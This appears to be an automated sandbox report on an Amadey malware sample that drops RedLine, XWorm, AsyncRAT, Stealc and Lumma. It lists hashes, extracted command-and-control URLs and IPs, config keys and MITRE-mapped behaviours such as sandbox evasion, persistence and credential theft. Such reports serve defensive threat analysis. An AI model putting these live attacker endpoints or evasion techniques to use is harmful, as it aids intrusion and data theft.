amadey | 2da07adfec8e96b42181944d948e346cb54a3772a53e9bd1a219119fca8fa7ea

Resubmissions

14-12-2024 15:07

241214-shgy7sxnek 10

14-12-2024 14:40

241214-r2dkfsvpa1 10

Analysis

max time kernel
38s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
14-12-2024 14:40

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

2da07adfec8e96b42181944d948e346cb54a3772a53e9bd1a219119fca8fa7ea.exe
Size

2.8MB
MD5

2a4b5ab731f10fa8dd68a58dc1144193
SHA1

a1e64fd4e07a9c22333e38bfbe5da47fd4f7d6a2
SHA256

2da07adfec8e96b42181944d948e346cb54a3772a53e9bd1a219119fca8fa7ea
SHA512

6991093dc8d35c4f89bef11e811e323e2f515147548a40b1c21c18a9f4e8209a20bde5e019a507ab10c0112299604c0abc553be9a26fee6bbfabb30e0ae7019c
SSDEEP

49152:DVCS2ZpFbPnpCd4AZZ6OfNq9mr2m9seJG9d+:DkZpFbBCd4YZ6ylr23UG9

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://176.113.115.178/GO.png

Extracted

Family

amadey

Version

4.42

Botnet

9c9aa5

http://185.215.113.43

Attributes

install_dir
abc3bc1985
install_file
skotes.exe
strings_key
8a35cf2ea38c2817dba29a4b5b25dcf0
url_paths
/Zu7JuNko/index.php

rc4.plain

Extracted

Family

redline

Botnet

fvcxcx

185.81.68.147:1912

Extracted

Family

amadey

Version

5.10

Botnet

0f3be6

http://185.81.68.147

http://185.81.68.148

Attributes

install_dir
ee29ea508b
install_file
Gxtuum.exe
strings_key
d3a5912ea69ad34a2387af70c8be9e21
url_paths
/7vhfjke3/index.php

/8Fvu5jh4DbS/index.php

rc4.plain

Extracted

Family

redline

Botnet

LiseCloud -- LiveTraffic

107.189.17.186:28269

Extracted

Family

xworm

107.189.17.186:7000

Mutex

1DV67HmcQRTX3PrL

Attributes

install_file
USB.exe

aes.plain

Extracted

Family

asyncrat

Version

0.5.8

Botnet

Default

82.64.156.123:80

Mutex

9mzImB3NUR0Q

Attributes

delay
3
install
false
install_folder
%AppData%

aes.plain

Extracted

Family

amadey

Version

5.10

Botnet

03013e

http://185.11.61.104

Attributes

install_dir
0d7d65a8fb
install_file
Gxtuum.exe
strings_key
6a02c43bc60cba83349fcb51d95a69ff
url_paths
/7jbBdsS/index.php

rc4.plain

Extracted

Family

stealc

Botnet

stok

http://185.215.113.206

Attributes

url_path
/c4becf79229cb002.php

Extracted

Family

lumma

https://sordid-snaked.cyou/api

https://awake-weaves.cyou/api

https://wrathful-jammy.cyou/api

https://debonairnukk.xyz/api

https://diffuculttan.xyz/api

https://effecterectz.xyz/api

https://deafeninggeh.biz/api

https://immureprech.biz/api

https://tacitglibbr.biz/api

Extracted

Family

lumma

https://tacitglibbr.biz/api

https://immureprech.biz/api

https://deafeninggeh.biz/api

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey
Amadey family
amadey
AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral2/files/0x000a000000023b4f-110.dat	family_xworm
behavioral2/memory/4536-131-0x0000000000AB0000-0x0000000000AC0000-memory.dmp	family_xworm

Lumma Stealer, LummaC
Lumma or LummaC is an infostealer written in C++ first seen in August 2022.
stealer lumma
Lumma family
lumma
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 4 IoCs

resource	yara_rule
behavioral2/files/0x000a000000023b4b-71.dat	family_redline
behavioral2/memory/1720-78-0x0000000000FB0000-0x0000000001002000-memory.dmp	family_redline
behavioral2/files/0x000a000000023b52-128.dat	family_redline
behavioral2/memory/2516-148-0x0000000000A80000-0x0000000000A9E000-memory.dmp	family_redline

Redline family
redline
SectopRAT
SectopRAT is a remote access trojan first seen in November 2019.
trojan rat sectoprat

SectopRAT payload 2 IoCs

resource	yara_rule
behavioral2/files/0x000a000000023b52-128.dat	family_sectoprat
behavioral2/memory/2516-148-0x0000000000A80000-0x0000000000A9E000-memory.dmp	family_sectoprat

Sectoprat family
sectoprat
Stealc
Stealc is an infostealer written in C++.
stealer stealc
Stealc family
stealc
Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral2/files/0x000a000000023b56-146.dat	family_asyncrat

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 4 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	2da07adfec8e96b42181944d948e346cb54a3772a53e9bd1a219119fca8fa7ea.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	skotes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	8a2ec8b3c2.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	83df552d97.exe

Blocklisted process makes network request 7 IoCs

flow	pid	Process
59	3320	powershell.exe
73	6096	rundll32.exe
74	6096	rundll32.exe
83	6096	rundll32.exe
92	6096	rundll32.exe
108	6344	rundll32.exe
109	6344	rundll32.exe

Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

persistence

Active Setup

T1547.014

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Software\Microsoft\Active Setup\Installed Components	explorer.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 9 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
7636	powershell.exe
6960	powershell.exe
3320	powershell.exe
4152	powershell.exe
5792	powershell.exe
6336	powershell.exe
3552	powershell.exe
3888	powershell.exe
4764	powershell.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Downloads MZ/PE file
Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Checks BIOS information in registry 2 TTPs 8 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	8a2ec8b3c2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	8a2ec8b3c2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	83df552d97.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	83df552d97.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	2da07adfec8e96b42181944d948e346cb54a3772a53e9bd1a219119fca8fa7ea.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	2da07adfec8e96b42181944d948e346cb54a3772a53e9bd1a219119fca8fa7ea.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	skotes.exe

Checks computer location settings 2 TTPs 6 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation	Gxtuum.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation	2da07adfec8e96b42181944d948e346cb54a3772a53e9bd1a219119fca8fa7ea.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation	skotes.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation	XAzdvQx.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation	9953.tmp.ctx.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation	36680f399e.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe	services.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe	services.exe

Executes dropped EXE 16 IoCs

pid	Process
4384	skotes.exe
3040	K6UAlAU.exe
1720	95C8.tmp.fcxcx.exe
1344	XAzdvQx.exe
3552	9953.tmp.ctx.exe
4536	services.exe
2516	windows.exe
2636	9B19.tmp.AsyncClient.exe
4428	Gxtuum.exe
4584	9EC3.tmp.Build.exe
4564	36680f399e.exe
2472	A8D7.tmp.cc.exe
4484	9EC3.tmp.Build.exe
5212	f99e62e59e.exe
6036	8a2ec8b3c2.exe
6796	83df552d97.exe

Identifies Wine through registry keys 2 TTPs 4 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Software\Wine	83df552d97.exe
Key opened	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Software\Wine	2da07adfec8e96b42181944d948e346cb54a3772a53e9bd1a219119fca8fa7ea.exe
Key opened	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Software\Wine	skotes.exe
Key opened	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Software\Wine	8a2ec8b3c2.exe

Loads dropped DLL 4 IoCs

pid	Process
6056	rundll32.exe
6096	rundll32.exe
6548	rundll32.exe
6344	rundll32.exe

Reads WinSCP keys stored on the system 2 TTPs
Tries to access WinSCP stored sessions.
spyware stealer

Data from Local System
T1005

Credentials in Registry
T1552.002
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads local data of messenger clients 2 TTPs
Infostealers often target stored data of messaging applications, which can include saved credentials and account information.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 5 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\8a2ec8b3c2.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1015218001\\8a2ec8b3c2.exe"	skotes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\83df552d97.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1015219001\\83df552d97.exe"	skotes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Services = "C:\\Users\\Admin\\AppData\\Roaming\\B142CEC839BC3625698399\\B142CEC839BC3625698399.exe"	K6UAlAU.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Services = "C:\\Users\\Admin\\AppData\\Roaming\\B142CEC839BC3625698399\\B142CEC839BC3625698399.exe"	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Services = "C:\\Users\\Admin\\AppData\\Roaming\\B142CEC839BC3625698399\\B142CEC839BC3625698399.exe"	audiodg.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Enumerates connected drives 3 TTPs 2 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\F:	explorer.exe
File opened (read-only)	\??\D:	explorer.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
67	checkip.dyndns.org

Power Settings 1 TTPs 8 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
1516	powercfg.exe
6820	powercfg.exe
5592	powercfg.exe
6476	powercfg.exe
7044	powercfg.exe
7388	powercfg.exe
7368	powercfg.exe
5264	powercfg.exe

AutoIT Executable 1 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral2/files/0x0008000000023c07-3721.dat	autoit_exe

Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs

pid	Process
1892	2da07adfec8e96b42181944d948e346cb54a3772a53e9bd1a219119fca8fa7ea.exe
4384	skotes.exe
6036	8a2ec8b3c2.exe
6796	83df552d97.exe

Suspicious use of SetThreadContext 7 IoCs

description	pid	Process	procid_target
PID 3040 set thread context of 1172	3040	K6UAlAU.exe	86
PID 3040 set thread context of 396	3040	K6UAlAU.exe	87
PID 3040 set thread context of 2412	3040	K6UAlAU.exe	88
PID 4584 set thread context of 4484	4584	9EC3.tmp.Build.exe	107
PID 3320 set thread context of 5252	3320	powershell.exe	114
PID 5792 set thread context of 6080	5792	powershell.exe	140
PID 7636 set thread context of 6308	7636	powershell.exe	151

UPX packed file 4 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000a000000023b64-198.dat	upx
behavioral2/memory/2472-202-0x0000000000CA0000-0x00000000015F3000-memory.dmp	upx
behavioral2/memory/2472-204-0x0000000000CA0000-0x00000000015F3000-memory.dmp	upx
behavioral2/memory/6748-8379-0x00007FF7DA0E0000-0x00007FF7DA570000-memory.dmp	upx

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\skotes.job	2da07adfec8e96b42181944d948e346cb54a3772a53e9bd1a219119fca8fa7ea.exe
File created	C:\Windows\Tasks\Gxtuum.job	9953.tmp.ctx.exe

Launches sc.exe 14 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
7748	sc.exe
5772	sc.exe
7500	sc.exe
3460	sc.exe
6616	sc.exe
6400	sc.exe
6364	sc.exe
6636	sc.exe
2580	sc.exe
6568	sc.exe
6016	sc.exe
7816	sc.exe
592	sc.exe
212	sc.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Program crash 1 IoCs

pid	pid_target	Process	procid_target
5688	4564	WerFault.exe	100

System Location Discovery: System Language Discovery 1 TTPs 28 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	36680f399e.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	windows.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmstp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DllHost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Gxtuum.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegSvcs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ipconfig.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegSvcs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2da07adfec8e96b42181944d948e346cb54a3772a53e9bd1a219119fca8fa7ea.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	9B19.tmp.AsyncClient.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	9953.tmp.ctx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegSvcs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	95C8.tmp.fcxcx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	9EC3.tmp.Build.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ipconfig.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	f99e62e59e.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ipconfig.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	8a2ec8b3c2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	83df552d97.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	skotes.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	9EC3.tmp.Build.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 4 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2236	PING.EXE
6728	powershell.exe
5104	PING.EXE
7516	powershell.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
5104	netsh.exe
6640	netsh.exe

Checks SCSI registry key(s) 3 TTPs 22 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0003	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0002	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Capabilities	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0003	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0002	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Capabilities	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0002	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Capabilities	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{a45c254e-df1c-4efd-8020-67d146a850e0}\0011	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0002	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{a45c254e-df1c-4efd-8020-67d146a850e0}\0011	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Capabilities	explorer.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	36680f399e.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	36680f399e.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
5576	timeout.exe

Gathers network information 2 TTPs 3 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
848	ipconfig.exe
5756	ipconfig.exe
6580	ipconfig.exe

Kills process with taskkill 6 IoCs

evasion

pid	Process
6752	taskkill.exe
5108	taskkill.exe
7448	taskkill.exe
5604	taskkill.exe
7340	taskkill.exe
6800	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 2 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Software\Microsoft\Internet Explorer\GPU	SearchApp.exe
Key created	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\SOFTWARE\Microsoft\Internet Explorer\GPU	SearchApp.exe

Modifies registry class 64 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "Microsoft Pablo"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "%windir%\\Speech_OneCore\\Engines\\SR\\it-IT-N\\r1040sr.lxa"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "%windir%\\Speech_OneCore\\Engines\\TTS\\it-IT\\M1040Cosimo"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "Microsoft Speech SW Voice Activation - Japanese (Japan)"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "- 0001 ! 0002 & 0003 , 0004 . 0005 ? 0006 _ 0007 1 0008 ~ 0009 aa 000a a 000b oh 000c ax 000d b 000e d 000f eh 0010 ey 0011 f 0012 g 0013 hy 0014 uy 0015 iy 0016 k 0017 l 0018 m 0019 n 001a ng 001b nj 001c oe 001d eu 001e ow 001f p 0020 r 0021 s 0022 sh 0023 t 0024 uw 0025 v 0026 w 0027 y 0028 z 0029 zh 002a"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "{0B3398EA-00F1-418b-AA31-6F2F9BE5809B}"	SearchApp.exe
